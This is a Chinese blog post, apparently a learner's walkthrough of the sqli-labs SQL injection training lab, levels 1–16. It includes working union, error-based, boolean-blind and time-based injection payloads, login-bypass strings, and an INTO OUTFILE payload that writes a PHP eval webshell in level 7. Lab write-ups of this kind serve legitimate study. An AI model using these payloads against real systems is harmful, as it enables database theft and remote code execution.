sqli-labs 学习过程——(持续更新)

目录

前言

Less-1

Less--2

Less--3

Less--4

Less-5

Less--6

Less--7


前言

从根本上讲,当开发人员对用户的输入过滤不严,造成了用户可以通过输入SQL语句控制数据库,就会产生SQL注入漏洞。

我们使用sqli-labs的靶场来对sql注入有跟多的了解

这也是纪录我自己学习的过程,当写笔记了

Less-1

进入第一道题,打开hackbar,在url的最后写上?id=1,会发现页面的值发生了变化(输入2,3,4都有不同的显示,好像最多到14吧)

这时候把1换成其他的sql语句,比如

-1' union select 1,2,3 --+

'是用来闭合之前的语句,如果前面语句执行正确就不会有union的事了,所以要让前面执行错误的语句,因为id没有-1

union是联合语句,后面可以带一些其他的语句,这里使用的事select查看 数据库(123代表数据库的个数,需要自己去试)

--+是注释语句,正常的语句是        SELECT * FROM users WHERE id='$id' LIMIT 0,1        -1后面的'闭合了前面的',带id后面还有个',需要用--+进行注释

这样就可以查到想查的信息了

比如输入

-1' union select 1,database(),3 --+

查看到数据库的名称为security等等

Less--2

第二道题是整数型报错

 

输入id=1 and 1=1 --+没有报错

 

但是输入id=1 and 1=2 --+的时候就报错了

说明找到注入点了

可以把1=2替换成自己想利用的语句

d=-1 union select 1,2,3 --+

把前面的语句改成错误语句,如果是正确的话他会执行正确的语句直接跳过后面的语句

Less--3

当输入一个id=1'时,系统给出的报错信息        ''1'') LIMIT 0,1'        后面跟了一个)

所以猜测id的旁边应该有括号

  '加了)找到了注入点,接下来可以查自己想查的东西了

 

id=-1')  union select 1,2,3 --+

 Less--4

 和第三题的方法一样,不过是'换成了"

id=-1") union select 1,2,3 --+

Less-5

第五题试了一会儿,好像发现了注入点

 输入?id=1' and 1=1 --+时显示的是you are in.........

但是输入?id=1' and 1=2 --+时,什么内容都没显示

应该是报错注入

尝试把1=2换成extractvalue(1,concat(0x7e,database(),0x7e))的时候,发现显示内容了

 

id=1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+

 语句中的0x7e可以替换成~

也可以用其他的语句

比如

id=1' and (select extractvalue(1,concat('~',(select database())))) --+

Less--6

跟第五题差不多,就是注入点不一样

 

成功找到注入点,可以报错注入了

id=1" and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))

关于报错注入找到了一篇大佬的文章

https://blog.csdn.net/silence1_/article/details/90812612?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522162764781116780269870066%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=162764781116780269870066&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_v2~rank_v29-1-90812612.pc_search_result_cache&utm_term=sql%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5&spm=1018.2226.3001.4187

Less--7

第七题

输入?id=1发现提示

提示我们使用outfile

在sql注入的时候,最常用的的是通过file函数来在数据库中写入敏感文件或者是webshell,其中into outfile是一个,还有两个是intodumpfile()和load_file()

outfile也有使用条件

1.要有file_priv权限

2.对web要有写的权限

3.要知道网站的绝对路径

 测试注入点得出是'))过滤

?id=111')) union select "<?php phpinfo():eval($_REQUEST['cmd'])?>",2,3 into outfile "d:\\test\\test1.php" --+

 去test文件里发现有php文件

之后可以使用蚁剑连接

Less--8

第八题是布尔盲注,就只会显示语句正确和语句错误,可以利用正确的语句来提取里面的信息

正确时的返回语句

错误的时候什么都不显示

凭借这个方法可以判断注入点是'

?id=1' and (select count(table_name) from information_Schema.tables where table_schema=database())>3 --+

判断数据库中的表是否大于3,返回正确

and (select count(table_name) from information_Schema.tables where table_schema=database())=2    布尔盲注查询表数量
and (length(database()))=8 --+    得到数据库长度
and ascii(substr(database(),1,1))= 115 --+    猜测数据库第一个名称字母
and ascii(substr(database(),2,1))=101 --+    猜测数据库第二个名称字母
and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+    擦侧数据库中表的数量
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100    不断改变范围,把第一张数据表的第一个字母猜出来
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>110    不断改变范围,把第一张数据表的第二个字母猜出来
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>110    不断改变范围,把弟二张数据表的第一个字母猜出来
and (select count(column_name) from information_schema.columns where table_name='flag')=1    猜测flag表里的字段数
and ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))>110    猜测flag字段的值

Less--9

也是布尔盲注,方法和上一题一样,注入点换成了"

Less--10

时间型盲注

无论输入什么,返回值都是一样的,但是第十题出了一点问题,所以使用第十题的方法去做第八题

?id=1' and if((1=1),sleep(5),1) --+

这是延时注入寻找注入点的方法,返现闭合是',如果语句正确,会睡眠5秒钟

看左上角有没有页面正在加载,如果在加载就是正确的

接下来可以把1=1换成其他的判断语句,类似之前的盲注

知道注入原理之后可以使用sqlmap工具进行注入,节省时间

Less--11

到了11题之后,就要开始使用post注入了

post就是数据从客户端提交到服务器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,提交到服务器后服务器再进行验证

进入页面后发现,有一个输入用户名和密码的地方,首先猜测post语句和get语句差不多,用户名输入1' --+        密码输入123随便输入

这是报错语句

如果将用户名改为万能密码 admin' or 1='1#        密码随便输入123

显示出了用户名和密码

使用harkbar的post功能进行注入

 成功看见库名

Less--12

用户名输入admin"        密码随便输入之后,出现了个这个报错

 再用sql万能密码试一下        admin" or 1='1#

 报错的地方又出现了),接下来尝试加)

用户名输入admin")#

发现登入成功

顺带一提的是,如果用户名输入的是admin") or 1=1#

会进入到dumb的账号中,因为这是sql语句的优先级的问题,其实上一题输入也能发现这个问题

Less--13

先输入admin')#进行尝试

 然后就会发现,只是显示登录成功,这应该是post型的盲注,方法跟之前的盲注类型差不多

比如用户输入admin') and (lenght(database()))=8#        密码随便输入发现显示登录成功,这就表明数据库的长度为8,更多的参考上面的盲注

Less--14

第14题就不演示了,方法和上面13题一样,闭合改为"

Less--15

第15题和上面两题的方法一样,这是闭合改成了'

Less--16

第16题和上面三道题的方法一样,闭合改成了")

做到这里不知道是我sqllib的问题还是什么问题,一直能有显示,但是看了别人写的文章的时候发现他们15和16题是没有任何显示的,如果没有显示的话,就使用延时注入,把盲注的语句换成了if((1=1),sleep(5),1)之类的语句进行判断

如果知道原理之后可以使用sqlmap会快一些

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值